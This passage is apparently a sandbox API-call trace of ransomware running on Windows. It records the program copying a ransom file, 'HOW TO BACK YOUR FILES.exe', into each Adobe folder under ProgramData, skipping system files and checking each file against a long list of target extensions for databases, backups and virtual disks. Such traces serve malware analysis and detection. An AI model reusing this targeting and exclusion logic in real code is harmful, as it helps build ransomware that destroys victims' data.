	[0051.284] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bbc
	[0051.284] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x41, lpOverlapped=0x0) returned 1
	[0051.285] CloseHandle (hObject=0x15c) returned 1
	[0051.285] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0051.285] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0051.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7f78 | out: hHeap=0x580000) returned 1
	[0051.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0051.285] lstrlenW (lpString="C:\\ProgramData\\Adobe") returned 20
	[0051.285] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe" | out: lpString1="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0051.285] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.285] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.285] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.285] GetLastError () returned 0x0
	[0051.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.286] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.286] CloseHandle (hObject=0x15c) returned 1
	[0051.286] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.286] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.286] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0051.286] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.286] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.286] lstrcpyW (in: lpString1=0x2d3e57a, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat"
	[0051.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0051.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b5ed8
	[0051.286] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0051.286] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="Apollon865.txt.exe") returned 1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1
	[0051.286] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1
	[0051.287] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1
	[0051.287] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1
	[0051.287] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1
	[0051.287] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1
	[0051.287] lstrlenW (lpString="ARM") returned 3
	[0051.287] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat") returned 28
	[0051.287] lstrcpyW (in: lpString1=0x2d3e57a, lpString2="ARM" | out: lpString1="ARM") returned="ARM"
	[0051.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0051.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca310
	[0051.287] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0051.287] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.287] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.287] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.287] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0051.287] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0051.287] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe\\ARM", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0051.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca310 | out: hHeap=0x580000) returned 1
	[0051.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0051.287] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24
	[0051.287] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0051.287] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.287] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.288] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.288] GetLastError () returned 0x0
	[0051.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.288] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.288] CloseHandle (hObject=0x15c) returned 1
	[0051.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.288] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.288] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.288] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.288] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.288] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.288] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30056890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.288] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.288] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.288] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.288] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.289] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30056890, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30056890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.289] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.289] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="Apollon865.txt.exe") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2=".") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="..") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="windows") returned -1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="bootmgr") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="temp") returned -1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="pagefile.sys") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="boot") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ids.txt") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ntuser.dat") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="perflogs") returned 1
	[0051.289] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="MSBuild") returned 1
	[0051.289] lstrlenW (lpString="Reader_10.0.0") returned 13
	[0051.289] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\*") returned 26
	[0051.289] lstrcpyW (in: lpString1=0x2d3e582, lpString2="Reader_10.0.0" | out: lpString1="Reader_10.0.0") returned="Reader_10.0.0"
	[0051.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0051.289] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bc9b8
	[0051.289] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0051.289] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0
	[0051.289] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0051.289] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0051.289] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0"
	[0051.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0051.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0051.290] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned 38
	[0051.290] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0"
	[0051.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.290] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.290] GetLastError () returned 0x0
	[0051.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.290] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.290] CloseHandle (hObject=0x15c) returned 1
	[0051.290] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.290] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.290] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.291] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.291] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.291] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.291] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3007c9f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3007c9f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.291] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.291] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.291] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.291] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.291] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="Apollon865.txt.exe") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".") returned 1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="..") returned 1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="windows") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="bootmgr") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="temp") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="pagefile.sys") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="boot") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="ids.txt") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="ntuser.dat") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="perflogs") returned -1
	[0051.291] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="MSBuild") returned -1
	[0051.291] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0051.291] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*") returned 40
	[0051.291] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="AdbeRdrSecUpd10111.msp" | out: lpString1="AdbeRdrSecUpd10111.msp") returned="AdbeRdrSecUpd10111.msp"
	[0051.291] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0051.291] lstrlenW (lpString="Apollon865") returned 10
	[0051.292] lstrcmpiW (lpString1="d10111.msp", lpString2="Apollon865") returned 1
	[0051.292] lstrlenW (lpString=".dll") returned 4
	[0051.292] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".dll") returned 1
	[0051.292] lstrlenW (lpString=".lnk") returned 4
	[0051.292] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".lnk") returned 1
	[0051.292] lstrlenW (lpString=".ini") returned 4
	[0051.292] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".ini") returned 1
	[0051.292] lstrlenW (lpString=".sys") returned 4
	[0051.292] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".sys") returned 1
	[0051.292] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0051.292] lstrlenW (lpString="bak") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0051.292] lstrlenW (lpString="ba_") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0051.292] lstrlenW (lpString="dbb") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0051.292] lstrlenW (lpString="vmdk") returned 4
	[0051.292] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0051.292] lstrlenW (lpString="rar") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0051.292] lstrlenW (lpString="zip") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0051.292] lstrlenW (lpString="tgz") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0051.292] lstrlenW (lpString="vbox") returned 4
	[0051.292] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0051.292] lstrlenW (lpString="vdi") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0051.292] lstrlenW (lpString="vhd") returned 3
	[0051.292] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0051.292] lstrlenW (lpString="vhdx") returned 4
	[0051.292] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0051.293] lstrlenW (lpString="avhd") returned 4
	[0051.293] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0051.293] lstrlenW (lpString="db") returned 2
	[0051.293] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0051.293] lstrlenW (lpString="db2") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
	[0051.293] lstrlenW (lpString="db3") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0051.293] lstrlenW (lpString="dbf") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0051.293] lstrlenW (lpString="mdf") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0051.293] lstrlenW (lpString="mdb") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0051.293] lstrlenW (lpString="sql") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0051.293] lstrlenW (lpString="sqlite") returned 6
	[0051.293] lstrcmpiW (lpString1="11.msp", lpString2="sqlite") returned -1
	[0051.293] lstrlenW (lpString="sqlite3") returned 7
	[0051.293] lstrcmpiW (lpString1="111.msp", lpString2="sqlite3") returned -1
	[0051.293] lstrlenW (lpString="sqlitedb") returned 8
	[0051.293] lstrcmpiW (lpString1="0111.msp", lpString2="sqlitedb") returned -1
	[0051.293] lstrlenW (lpString="xml") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0051.293] lstrlenW (lpString="$er") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0051.293] lstrlenW (lpString="4dd") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0051.293] lstrlenW (lpString="4dl") returned 3
	[0051.293] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0051.293] lstrlenW (lpString="^^^") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0051.294] lstrlenW (lpString="abs") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0051.294] lstrlenW (lpString="abx") returned 3
	[0051.294] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0051.294] lstrlenW (lpString="accdb") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accdb") returned -1
	[0051.294] lstrlenW (lpString="accdc") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accdc") returned -1
	[0051.294] lstrlenW (lpString="accde") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accde") returned -1
	[0051.294] lstrlenW (lpString="accdr") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accdr") returned -1
	[0051.294] lstrlenW (lpString="accdt") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accdt") returned -1
	[0051.294] lstrlenW (lpString="accdw") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accdw") returned -1
	[0051.294] lstrlenW (lpString="accft") returned 5
	[0051.294] lstrcmpiW (lpString1="1.msp", lpString2="accft") returned -1
